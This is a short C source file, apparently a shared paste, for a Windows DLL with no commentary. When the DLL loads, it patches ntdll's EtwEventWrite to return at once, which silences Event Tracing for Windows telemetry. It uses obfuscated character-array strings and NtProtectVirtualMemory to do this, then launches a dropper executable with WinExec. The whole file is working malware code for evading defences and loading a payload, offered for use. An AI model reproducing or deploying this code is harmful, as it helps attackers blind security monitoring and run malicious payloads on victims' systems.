HighBorn.c 1.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
  1. #include <windows.h>
  2. typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
  3. tNtVirtual oNtVirtual;
  4. void spwnrce()
  5. {
  6. unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
  7. ULONG oldprotect = 0;
  8. size_t size = sizeof(patch);
  9. HANDLE hCurrentProc = GetCurrentProcess();
  10. unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
  11. unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
  12. void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
  13. FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
  14. oNtVirtual = (tNtVirtual)farProc;
  15. oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
  16. memcpy(pEventWrite, patch, size / sizeof(patch[0]));
  17. oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
  18. FlushInstructionCache(hCurrentProc, pEventWrite, size);
  19. WinExec("C:\\PATH\\TO\\DROPPER\\dropper.exe",1);
  20. }
  21. BOOL APIENTRY DllMain( HMODULE hModule,
  22. DWORD ul_reason_for_call,
  23. LPVOID lpReserved
  24. )
  25. {
  26. switch (ul_reason_for_call)
  27. {
  28. case DLL_PROCESS_ATTACH:
  29. spwnrce();
  30. case DLL_THREAD_ATTACH:
  31. case DLL_THREAD_DETACH:
  32. case DLL_PROCESS_DETACH:
  33. break;
  34. }
  35. return TRUE;
  36. }